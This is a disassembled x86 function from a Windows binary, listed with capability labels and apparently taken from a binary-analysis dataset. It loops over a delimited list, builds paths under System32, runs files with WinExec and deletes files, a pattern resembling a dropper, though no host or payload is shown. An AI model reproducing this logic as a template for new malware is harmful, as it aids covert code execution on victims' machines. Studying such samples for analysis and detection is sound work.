Function at 0x40169d
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
push ebx
mov ecx, ebx
mov dword [ebp - 0x10], esi
call fcn.00401d38
push eax
call fcn.004039cd
pop ecx
pop ecx
push 0x404175
push 0x404194
mov ecx, ebx
call fcn.00401c61
lea ecx, [ebp - 8]
call fcn.00401d3b
push dword [ebp - 0x10]
mov edi, 0x404190
push edi
mov ecx, ebx
call fcn.00401ac0
cmp eax, 0xffffffff
je 0x40190a
inc eax
push eax
push edi
mov ecx, ebx
mov dword [ebp - 0x10], eax
inc esi
call fcn.00401ac0
cmp eax, 0xffffffff
jne 0x4016f3
test esi, esi
mov dword [ebp - 0x24], esi
je 0x40190a
and dword [ebp - 0x10], 0
and dword [ebp - 0xc], 0
test esi, esi
jle 0x40190a
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
call fcn.00401ef9
mov ecx, eax
call fcn.00401d38
push ecx
push ecx
mov ecx, esp
push eax
call fcn.00401d8c
lea ecx, [ebp - 8]
call fcn.00401edc
lea ecx, [ebp - 0x34]
call fcn.00401dbd
push 0x404175
lea ecx, [ebp - 8]
call fcn.00401ce8
test eax, eax
je 0x40176c
inc dword [ebp - 0xc]
jmp 0x4018fe
lea ecx, [ebp - 0x2c]
call fcn.00401d3b
push 0
push 0x2c
lea ecx, [ebp - 8]
or ebx, 0xffffffff
call fcn.00401b15
mov esi, eax
cmp esi, 0xffffffff
je 0x4017ce
push esi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 8]
call fcn.00401e35
mov ecx, eax
call fcn.00401d38
push ecx
push ecx
mov ecx, esp
push eax
call fcn.00401d8c
lea ecx, [ebp - 0x2c]
call fcn.00401edc
lea ecx, [ebp - 0x4c]
call fcn.00401dbd
inc esi
push esi
push 0
lea ecx, [ebp - 8]
call fcn.00401b44
lea ecx, [ebp - 0x2c]
call fcn.00401cc4
mov ebx, eax
lea ecx, [ebp - 8]
call fcn.00401d38
push 0x100
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401d8c
push str.System32_
lea ecx, [ebp - 0x18]
call fcn.00401a88
push 0xffffffffffffffff
push 0x2f
lea ecx, [ebp - 8]
call fcn.00401bc5
inc eax
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 8]
call fcn.00401dcf
mov ecx, eax
call fcn.00401d38
push eax
lea ecx, [ebp - 0x18]
call fcn.00401cfc
lea ecx, [ebp - 0x3c]
call fcn.00401dbd
lea ecx, [ebp - 0x18]
call fcn.00401d38
push eax
lea ecx, [ebp - 8]
call fcn.00401d38
push eax
call fcn.00403565
test eax, eax
pop ecx
pop ecx
je 0x4018eb
lea ecx, [ebp - 0x18]
call fcn.00401d38
cmp ebx, 0xffffffff
mov dword [ebp - 0x1c], eax
jne 0x401872
push 5
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
jmp 0x4018eb
push 0x80000000
lea ecx, [ebp - 0x18]
call fcn.00401d38
push eax
call fcn.004034f0
pop ecx
pop ecx
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push esi
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 0x20], ebx
jne 0x4018e2
push 0xffffffffffffffff
push 0x2f
lea ecx, [ebp - 8]
call fcn.00401bc5
inc eax
push eax
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 8]
call fcn.00401dcf
mov ecx, eax
call fcn.00401d38
push ecx
push ecx
mov ecx, esp
push eax
call fcn.00401d8c
call fcn.0040152d
pop ecx
pop ecx
lea ecx, [ebp - 0x44]
call fcn.00401dbd
push 5
push dword [ebp - 0x1c]
jmp 0x40186a
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
call fcn.00401dbd
lea ecx, [ebp - 0x2c]
call fcn.00401dbd
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jl 0x401721
lea ecx, [ebp - 8]
call fcn.00401dbd
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret